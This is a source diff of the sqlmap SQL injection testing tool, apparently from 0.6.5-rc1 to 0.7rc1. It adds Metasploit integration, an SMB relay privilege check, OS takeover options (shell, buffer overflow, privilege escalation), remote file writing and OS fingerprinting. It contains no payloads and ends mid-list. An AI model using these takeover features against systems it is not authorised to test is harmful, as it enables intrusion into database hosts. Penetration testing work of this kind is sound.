Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -25,17 +25,20 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
import cookielib
|
||||
import ctypes
|
||||
import difflib
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from ConfigParser import ConfigParser
|
||||
|
||||
from lib.core.common import getFileType
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomRange
|
||||
@@ -49,13 +52,17 @@ from lib.core.data import paths
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapMissingPrivileges
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.optiondict import optDict
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import SITE
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import SUPPORTED_OS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.update import update
|
||||
from lib.parse.configfile import configFileParser
|
||||
@@ -241,12 +248,140 @@ def __setGoogleDorking():
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setMetasploit():
|
||||
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
||||
return
|
||||
|
||||
if conf.osSmb:
|
||||
isAdmin = False
|
||||
|
||||
if "win" in PLATFORM:
|
||||
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||
isAdmin = True
|
||||
|
||||
elif "linux" in PLATFORM:
|
||||
isAdmin = os.geteuid()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
||||
isAdmin = True
|
||||
|
||||
# TODO: add support for Mac OS X
|
||||
#elif "darwin" in PLATFORM:
|
||||
# pass
|
||||
|
||||
else:
|
||||
warnMsg = "sqlmap is not able to check if you are running it "
|
||||
warnMsg += "as an Administrator accout on this platform. "
|
||||
warnMsg += "sqlmap will assume that you are an Administrator "
|
||||
warnMsg += "which is mandatory for the SMB relay attack to "
|
||||
warnMsg += "work properly"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
isAdmin = True
|
||||
|
||||
if isAdmin != True:
|
||||
errMsg = "you need to run sqlmap as an administrator/root "
|
||||
errMsg += "user if you want to perform a SMB relay attack "
|
||||
errMsg += "because it will need to listen on a user-specified "
|
||||
errMsg += "SMB TCP port for incoming connection attempts"
|
||||
raise sqlmapMissingPrivileges, errMsg
|
||||
|
||||
debugMsg = "setting the out-of-band functionality"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
msfEnvPathExists = False
|
||||
|
||||
if conf.msfPath:
|
||||
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
|
||||
|
||||
if condition:
|
||||
debugMsg = "provided Metasploit Framework 3 path "
|
||||
debugMsg += "'%s' is valid" % conf.msfPath
|
||||
logger.debug(debugMsg)
|
||||
|
||||
msfEnvPathExists = True
|
||||
else:
|
||||
warnMsg = "the provided Metasploit Framework 3 path "
|
||||
warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
|
||||
warnMsg += "be that the path does not exists or that one "
|
||||
warnMsg += "or more of the needed Metasploit executables "
|
||||
warnMsg += "within msfcli, msfconsole, msfencode and "
|
||||
warnMsg += "msfpayload do not exist"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
warnMsg = "you did not provide the local path where Metasploit "
|
||||
warnMsg += "Framework 3 is installed"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if msfEnvPathExists != True:
|
||||
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
|
||||
warnMsg += "installation into the environment paths"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
envPaths = os.environ["PATH"]
|
||||
|
||||
if "win" in PLATFORM:
|
||||
envPaths = envPaths.split(";")
|
||||
else:
|
||||
envPaths = envPaths.split(":")
|
||||
|
||||
for envPath in envPaths:
|
||||
condition = os.path.exists(os.path.normpath(envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
|
||||
|
||||
if condition:
|
||||
infoMsg = "Metasploit Framework 3 has been found "
|
||||
infoMsg += "installed in the '%s' path" % envPath
|
||||
logger.info(infoMsg)
|
||||
|
||||
msfEnvPathExists = True
|
||||
conf.msfPath = envPath
|
||||
|
||||
break
|
||||
|
||||
if msfEnvPathExists != True:
|
||||
errMsg = "unable to locate Metasploit Framework 3 installation. "
|
||||
errMsg += "Get it from http://metasploit.com/framework/download/"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def __setWriteFile():
|
||||
if not conf.wFile:
|
||||
return
|
||||
|
||||
debugMsg = "setting the write file functionality"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not os.path.exists(conf.wFile):
|
||||
errMsg = "the provided local file '%s' does not exist" % conf.wFile
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
if not conf.dFile:
|
||||
errMsg = "you did not provide the back-end DBMS absolute path "
|
||||
errMsg += "where you want to write the local file '%s'" % conf.wFile
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
conf.wFileType = getFileType(conf.wFile)
|
||||
|
||||
|
||||
def __setUnionTech():
|
||||
if conf.uTech == None:
|
||||
conf.uTech = "NULL"
|
||||
|
||||
return
|
||||
|
||||
debugMsg = "setting the UNION query SQL injection detection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
uTechOriginal = conf.uTech
|
||||
conf.uTech = conf.uTech.lower()
|
||||
|
||||
@@ -263,6 +398,29 @@ def __setUnionTech():
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
def __setOS():
|
||||
"""
|
||||
Force the back-end DBMS operating system option.
|
||||
"""
|
||||
|
||||
if not conf.os:
|
||||
return
|
||||
|
||||
debugMsg = "forcing back-end DBMS operating system to user defined value"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.os = conf.os.lower()
|
||||
|
||||
if conf.os not in SUPPORTED_OS:
|
||||
errMsg = "you provided an unsupported back-end DBMS operating "
|
||||
errMsg += "system. The supported DBMS operating systems for OS "
|
||||
errMsg += "and file system access are Linux and Windows. "
|
||||
errMsg += "If you do not know the back-end DBMS underlying OS, "
|
||||
errMsg += "do not provide it and sqlmap will fingerprint it for "
|
||||
errMsg += "you."
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
|
||||
def __setDBMS():
|
||||
"""
|
||||
Force the back-end DBMS option.
|
||||
@@ -280,8 +438,8 @@ def __setDBMS():
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
conf.dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
||||
conf.dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||
|
||||
if conf.dbms not in SUPPORTED_DBMS:
|
||||
errMsg = "you provided an unsupported back-end database management "
|
||||
@@ -581,6 +739,21 @@ def __cleanupOptions():
|
||||
if conf.delay:
|
||||
conf.delay = float(conf.delay)
|
||||
|
||||
if conf.rFile:
|
||||
conf.rFile = os.path.normpath(conf.rFile.replace("\\", "/"))
|
||||
|
||||
if conf.wFile:
|
||||
conf.wFile = os.path.normpath(conf.wFile.replace("\\", "/"))
|
||||
|
||||
if conf.dFile:
|
||||
conf.dFile = os.path.normpath(conf.dFile.replace("\\", "/"))
|
||||
|
||||
if conf.msfPath:
|
||||
conf.msfPath = os.path.normpath(conf.msfPath.replace("\\", "/"))
|
||||
|
||||
if conf.tmpPath:
|
||||
conf.tmpPath = os.path.normpath(conf.tmpPath.replace("\\", "/"))
|
||||
|
||||
if conf.googleDork or conf.list:
|
||||
conf.multipleTargets = True
|
||||
|
||||
@@ -600,21 +773,24 @@ def __setConfAttributes():
|
||||
conf.httpHeaders = []
|
||||
conf.hostname = None
|
||||
conf.loggedToOut = None
|
||||
conf.matchRatio = None
|
||||
conf.md5hash = None
|
||||
conf.multipleTargets = False
|
||||
conf.outputPath = None
|
||||
conf.paramDict = {}
|
||||
conf.parameters = {}
|
||||
conf.paramFalseCond = False
|
||||
conf.paramNegative = False
|
||||
conf.path = None
|
||||
conf.port = None
|
||||
conf.retries = 0
|
||||
conf.retriesCount = 0
|
||||
conf.scheme = None
|
||||
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
|
||||
conf.seqMatcher = difflib.SequenceMatcher(None)
|
||||
conf.sessionFP = None
|
||||
conf.start = True
|
||||
conf.threadException = False
|
||||
conf.wFileType = None
|
||||
|
||||
|
||||
def __setKnowledgeBaseAttributes():
|
||||
@@ -627,17 +803,31 @@ def __setKnowledgeBaseAttributes():
|
||||
logger.debug(debugMsg)
|
||||
|
||||
kb.absFilePaths = set()
|
||||
kb.docRoot = None
|
||||
kb.bannerFp = advancedDict()
|
||||
kb.data = advancedDict()
|
||||
|
||||
# Basic back-end DBMS fingerprint
|
||||
kb.dbms = None
|
||||
kb.dbmsDetected = False
|
||||
kb.dbmsVersion = None
|
||||
kb.bannerFp = {}
|
||||
|
||||
# Active (extensive) back-end DBMS fingerprint
|
||||
kb.dbmsVersion = []
|
||||
|
||||
kb.dep = None
|
||||
kb.docRoot = None
|
||||
kb.headersCount = 0
|
||||
kb.headersFp = {}
|
||||
kb.htmlFp = []
|
||||
kb.injParameter = None
|
||||
kb.injPlace = None
|
||||
kb.injType = None
|
||||
|
||||
# Back-end DBMS underlying operating system fingerprint via banner (-b)
|
||||
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP)
|
||||
kb.os = None
|
||||
kb.osVersion = None
|
||||
kb.osSP = None
|
||||
|
||||
kb.parenthesis = None
|
||||
kb.resumedQueries = {}
|
||||
kb.stackedTest = None
|
||||
@@ -763,7 +953,10 @@ def init(inputOptions=advancedDict()):
|
||||
__setHTTPProxy()
|
||||
__setThreads()
|
||||
__setDBMS()
|
||||
__setOS()
|
||||
__setUnionTech()
|
||||
__setWriteFile()
|
||||
__setMetasploit()
|
||||
__setGoogleDorking()
|
||||
__setMultipleTargets()
|
||||
__urllib2Opener()
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -51,6 +51,7 @@ optDict = {
|
||||
"Injection": {
|
||||
"testParameter": "string",
|
||||
"dbms": "string",
|
||||
"os": "string",
|
||||
"prefix": "string",
|
||||
"postfix": "string",
|
||||
"string": "string",
|
||||
@@ -98,10 +99,18 @@ optDict = {
|
||||
"File system": {
|
||||
"rFile": "string",
|
||||
"wFile": "string",
|
||||
"dFile": "string",
|
||||
},
|
||||
|
||||
"Takeover": {
|
||||
"osCmd": "string",
|
||||
"osShell": "boolean",
|
||||
"osPwn": "boolean",
|
||||
"osSmb": "boolean",
|
||||
"osBof": "boolean",
|
||||
"privEsc": "boolean",
|
||||
"msfPath": "string",
|
||||
"tmpPath": "string",
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
@@ -110,5 +119,6 @@ optDict = {
|
||||
"updateAll": "boolean",
|
||||
"sessionFile": "string",
|
||||
"batch": "boolean",
|
||||
"cleanup": "boolean",
|
||||
},
|
||||
}
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -31,8 +31,8 @@ boolean and _outputfile variable used in genutils.
|
||||
|
||||
import sys
|
||||
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import PLATFORM
|
||||
|
||||
|
||||
try:
|
||||
@@ -49,7 +49,7 @@ except ImportError:
|
||||
except ImportError:
|
||||
haveReadline = False
|
||||
|
||||
if sys.platform == 'win32' and haveReadline:
|
||||
if 'win' in PLATFORM and haveReadline:
|
||||
try:
|
||||
_outputfile=_rl.GetOutputFile()
|
||||
except AttributeError:
|
||||
@@ -63,7 +63,7 @@ if sys.platform == 'win32' and haveReadline:
|
||||
# Thanks to Boyd Waters for this patch.
|
||||
uses_libedit = False
|
||||
|
||||
if sys.platform == 'darwin' and haveReadline:
|
||||
if PLATFORM == 'darwin' and haveReadline:
|
||||
import commands
|
||||
|
||||
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import re
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import formatFingerprintString
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -34,6 +35,7 @@ from lib.core.data import logger
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
|
||||
|
||||
def setString():
|
||||
"""
|
||||
Save string to match in session file.
|
||||
@@ -62,6 +64,17 @@ def setRegexp():
|
||||
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
||||
|
||||
|
||||
def setMatchRatio():
|
||||
condition = (
|
||||
not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Match ratio") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
|
||||
|
||||
|
||||
def setInjection():
|
||||
"""
|
||||
Save information retrieved about injection place and parameter in the
|
||||
@@ -132,6 +145,67 @@ def setDbms(dbms):
|
||||
logger.info("the back-end DBMS is %s" % kb.dbms)
|
||||
|
||||
|
||||
def setOs():
|
||||
"""
|
||||
Example of kb.bannerFp dictionary:
|
||||
|
||||
{
|
||||
'sp': set(['Service Pack 4']),
|
||||
'dbmsVersion': '8.00.194',
|
||||
'dbmsServicePack': '0',
|
||||
'distrib': set(['2000']),
|
||||
'dbmsRelease': '2000',
|
||||
'type': set(['Windows'])
|
||||
}
|
||||
"""
|
||||
|
||||
infoMsg = ""
|
||||
condition = (
|
||||
not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("OS") )
|
||||
)
|
||||
|
||||
if not kb.bannerFp:
|
||||
return
|
||||
|
||||
if "type" in kb.bannerFp:
|
||||
kb.os = formatFingerprintString(kb.bannerFp["type"])
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
|
||||
if "distrib" in kb.bannerFp:
|
||||
kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"])
|
||||
infoMsg += " %s" % kb.osVersion
|
||||
|
||||
if "sp" in kb.bannerFp:
|
||||
kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", ""))
|
||||
|
||||
elif "sp" not in kb.bannerFp and kb.os == "Windows":
|
||||
kb.osSP = 0
|
||||
|
||||
if kb.os and kb.osVersion:
|
||||
infoMsg += " Service Pack %d" % kb.osSP
|
||||
|
||||
if infoMsg:
|
||||
logger.info(infoMsg)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
|
||||
|
||||
|
||||
def setStacked():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Stacked queries") )
|
||||
)
|
||||
|
||||
if not isinstance(kb.stackedTest, str):
|
||||
return
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
|
||||
|
||||
|
||||
def setUnion(comment=None, count=None, position=None):
|
||||
"""
|
||||
@param comment: union comment to save in session file
|
||||
@@ -172,6 +246,27 @@ def setUnion(comment=None, count=None, position=None):
|
||||
kb.unionPosition = position
|
||||
|
||||
|
||||
def setRemoteTempPath():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Remote temp path") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
|
||||
|
||||
|
||||
def setDEP():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("DEP") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
|
||||
|
||||
|
||||
|
||||
def resumeConfKb(expression, url, value):
|
||||
if expression == "String" and url == conf.url:
|
||||
string = value[:-1]
|
||||
@@ -216,6 +311,14 @@ def resumeConfKb(expression, url, value):
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
conf.regexp = regexp
|
||||
|
||||
elif expression == "Match ratio" and url == conf.url:
|
||||
matchRatio = value[:-1]
|
||||
|
||||
logMsg = "resuming match ratio '%s' from session file" % matchRatio
|
||||
logger.info(logMsg)
|
||||
|
||||
conf.matchRatio = round(float(matchRatio), 3)
|
||||
|
||||
elif expression == "Injection point" and url == conf.url:
|
||||
injPlace = value[:-1]
|
||||
|
||||
@@ -278,7 +381,7 @@ def resumeConfKb(expression, url, value):
|
||||
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
||||
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||
|
||||
if conf.dbms and conf.dbms.lower() != dbms:
|
||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||
@@ -293,6 +396,34 @@ def resumeConfKb(expression, url, value):
|
||||
else:
|
||||
conf.dbms = dbms
|
||||
|
||||
elif expression == "OS" and url == conf.url:
|
||||
os = value[:-1]
|
||||
|
||||
logMsg = "resuming back-end DBMS operating system '%s' " % os
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
if conf.os and conf.os.lower() != os.lower():
|
||||
message = "you provided '%s' as back-end DBMS operating " % conf.os
|
||||
message += "system, but from a past scan information on the "
|
||||
message += "target URL sqlmap assumes the back-end DBMS "
|
||||
message += "operating system is %s. " % os
|
||||
message += "Do you really want to force the back-end DBMS "
|
||||
message += "OS value? [y/N] "
|
||||
test = readInput(message, default="N")
|
||||
|
||||
if not test or test[0] in ("n", "N"):
|
||||
conf.os = os
|
||||
else:
|
||||
conf.os = os
|
||||
|
||||
elif expression == "Stacked queries" and url == conf.url:
|
||||
kb.stackedTest = value[:-1]
|
||||
|
||||
logMsg = "resuming stacked queries syntax "
|
||||
logMsg += "'%s' from session file" % kb.stackedTest
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Union comment" and url == conf.url:
|
||||
kb.unionComment = value[:-1]
|
||||
|
||||
@@ -313,3 +444,17 @@ def resumeConfKb(expression, url, value):
|
||||
logMsg = "resuming union position "
|
||||
logMsg += "%s from session file" % kb.unionPosition
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Remote temp path" and url == conf.url:
|
||||
conf.tmpPath = value[:-1]
|
||||
|
||||
logMsg = "resuming remote absolute path of temporary "
|
||||
logMsg += "files directory '%s' from session file" % conf.tmpPath
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "DEP" and url == conf.url:
|
||||
kb.dep = value[:-1]
|
||||
|
||||
logMsg = "resuming DEP system policy value '%s' " % kb.dep
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -30,13 +30,14 @@ import sys
|
||||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.6.5-rc1"
|
||||
VERSION = "0.7rc1"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
# sqlmap logger
|
||||
logging.addLevelName(9, "TRAFFIC OUT")
|
||||
logging.addLevelName(8, "TRAFFIC IN")
|
||||
|
||||
LOGGER = logging.getLogger("sqlmapLog")
|
||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
|
||||
@@ -45,33 +46,33 @@ LOGGER_HANDLER.setFormatter(FORMATTER)
|
||||
LOGGER.addHandler(LOGGER_HANDLER)
|
||||
LOGGER.setLevel(logging.WARN)
|
||||
|
||||
# System variables
|
||||
PLATFORM = sys.platform.lower()
|
||||
PYVERSION = sys.version.split()[0]
|
||||
|
||||
# Url to update Microsoft SQL Server XML versions file from
|
||||
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
||||
|
||||
# Url to update sqlmap from
|
||||
# Urls to update sqlmap from
|
||||
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
|
||||
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
||||
|
||||
# Database managemen system specific variables
|
||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
||||
|
||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||
SUPPORTED_OS = ( "linux", "windows" )
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||
SUPPORTED_OS = ( "linux", "windows" )
|
||||
|
||||
# TODO: port to command line/configuration file options?
|
||||
SECONDS = 5
|
||||
RETRIES = 3
|
||||
|
||||
SQL_STATEMENTS = {
|
||||
"SQL SELECT statement": (
|
||||
SQL_STATEMENTS = {
|
||||
"SQL SELECT statement": (
|
||||
"select ",
|
||||
"show ",
|
||||
" top ",
|
||||
@@ -87,29 +88,29 @@ SQL_STATEMENTS = {
|
||||
" rownum as ",
|
||||
"(case ", ),
|
||||
|
||||
"SQL data definition": (
|
||||
"SQL data definition": (
|
||||
"create ",
|
||||
"declare ",
|
||||
"drop ",
|
||||
"truncate ",
|
||||
"alter ", ),
|
||||
|
||||
"SQL data manipulation": (
|
||||
"SQL data manipulation": (
|
||||
"insert ",
|
||||
"update ",
|
||||
"delete ",
|
||||
"merge ", ),
|
||||
|
||||
"SQL data control": (
|
||||
"SQL data control": (
|
||||
"grant ", ),
|
||||
|
||||
"SQL data execution": (
|
||||
"exec ",
|
||||
"SQL data execution": (
|
||||
"execute ", ),
|
||||
|
||||
"SQL transaction": (
|
||||
"SQL transaction": (
|
||||
"start transaction ",
|
||||
"begin work ",
|
||||
"begin transaction ",
|
||||
"commit ",
|
||||
"rollback ", ),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -90,13 +90,23 @@ def autoCompletion(sqlShell=False, osShell=False):
|
||||
if sqlShell:
|
||||
completer = CompleterNG(queriesForAutoCompletion())
|
||||
elif osShell:
|
||||
# TODO: add more operating system commands; differentiate commands
|
||||
# based on future operating system fingerprint
|
||||
completer = CompleterNG({
|
||||
"id": None, "ifconfig": None, "ls": None,
|
||||
"netstat -natu": None, "pwd": None,
|
||||
"uname": None, "whoami": None,
|
||||
})
|
||||
if kb.os == "Windows":
|
||||
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
||||
completer = CompleterNG({
|
||||
"copy": None, "del": None, "dir": None,
|
||||
"echo": None, "md": None, "mem": None,
|
||||
"move": None, "net": None, "netstat -na": None,
|
||||
